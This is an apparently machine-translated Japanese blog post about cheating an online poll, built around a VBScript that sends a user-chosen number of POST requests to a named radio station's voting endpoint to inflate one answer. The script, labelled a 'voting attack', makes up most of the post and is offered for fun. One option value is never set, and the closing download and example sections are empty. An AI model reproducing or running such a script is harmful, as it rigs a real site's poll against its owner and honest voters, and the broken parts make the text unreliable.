1つの調査のチート

ある日、 Radio Rock 95.2 FMのサイトに行き、そこで投票をしました。 彼の投票の結果、just4fun-VB-scriptが生まれました（他に何も手元にありませんでした）。

Option Explicit <br><br> Dim objHTTP, i, Num, Cnt<br><br>WScript.StdOut.WriteLine "95i2.fm voiting attack" <br>WScript.StdOut.WriteLine<br><br> ' init ---> <br> Dim v(3), v_descr(3)<br><br>v(0) = "%C2%20%EC%E0%F8%E8%ED%E5" <br>v_descr(0) = " " <br><br>v(1) = "%20%CD%E0%20%F0%E0%E1%EE%F2%E5" <br>v_descr(1) = " " <br><br>v_descr(2) = "%20%C4%EE%EC%E0" <br>v_descr(2) = " " <br><br>v(3) = "%20%C2%20%EF%EB%E5%E5%F0%E5" <br>v_descr(3) = " " <br> ' <--- init <br><br> ' variants menu ---> <br> Dim n, c<br>n = 0<br> For Each c In v <br> WScript.StdOut.WriteLine n & ". " & "" "" & v_descr(n) & "" "" <br> n = n + 1<br> Next <br> ' <--- variants menu <br><br>WScript.StdOut.WriteLine<br>WScript.StdOut.Write "Enter variant for upgrade and press Enter: " <br>Num = WScript.StdIn.Read(3)<br><br> If CInt (Num) <= (UBound(v) + 1) Then <br> WScript.StdOut.WriteLine "Ok. Your choice: " & "" "" & v_descr(Num) & "" "" <br> <br> WScript.StdOut.WriteLine<br> WScript.StdOut.Write "Enter count for upgrade: " <br> Cnt = WScript.StdIn.Read(3)<br> <br> ' atack! ---> <br> If CInt (Cnt) > 0 Then <br> For i = 1 To Cnt<br> WScript.StdOut.Write "Request: " & i & "... " <br> <br> Set objHTTP = CreateObject( "MSXML2.XMLHTTP" ) <br> objHTTP.Open "POST" , "http://95i2.fm/index.php?mod=voting" , False <br> <br> objHTTP.setRequestHeader "Content-Type" , "application/x-www-form-urlencoded" <br> objHTTP.setRequestHeader "Host" , "95i2.fm" <br> objHTTP.setRequestHeader "Referer" , "http://95i2.fm/index.php" <br> <br> objHTTP.send "variant=" & v(Num)<br> <br> Set objHTTP = Nothing <br> WScript.StdOut.WriteLine "Ok" <br> Next <br> WScript.StdOut.WriteLine<br> WScript.StdOut.WriteLine "All done!" <br> Else <br> WScript.StdOut.WriteLine "" "" & CInt (Cnt) & "" "" & " - is incorrect value" <br> End If ' <--- atack! <br> End If <br><br>WScript.StdOut.WriteLine<br>Wscript.StdOut.Write "Press the Enter to continue." <br> Do While Not WScript.StdIn.AtEndOfLine<br> Input = WScript.StdIn.Read(2)<br> Loop <br><br> * This source code was highlighted with Source Code Highlighter .

ダウンロードスクリプト



次のように始まります。





全体は次のようになります。





実験サイトの管理者を許してください。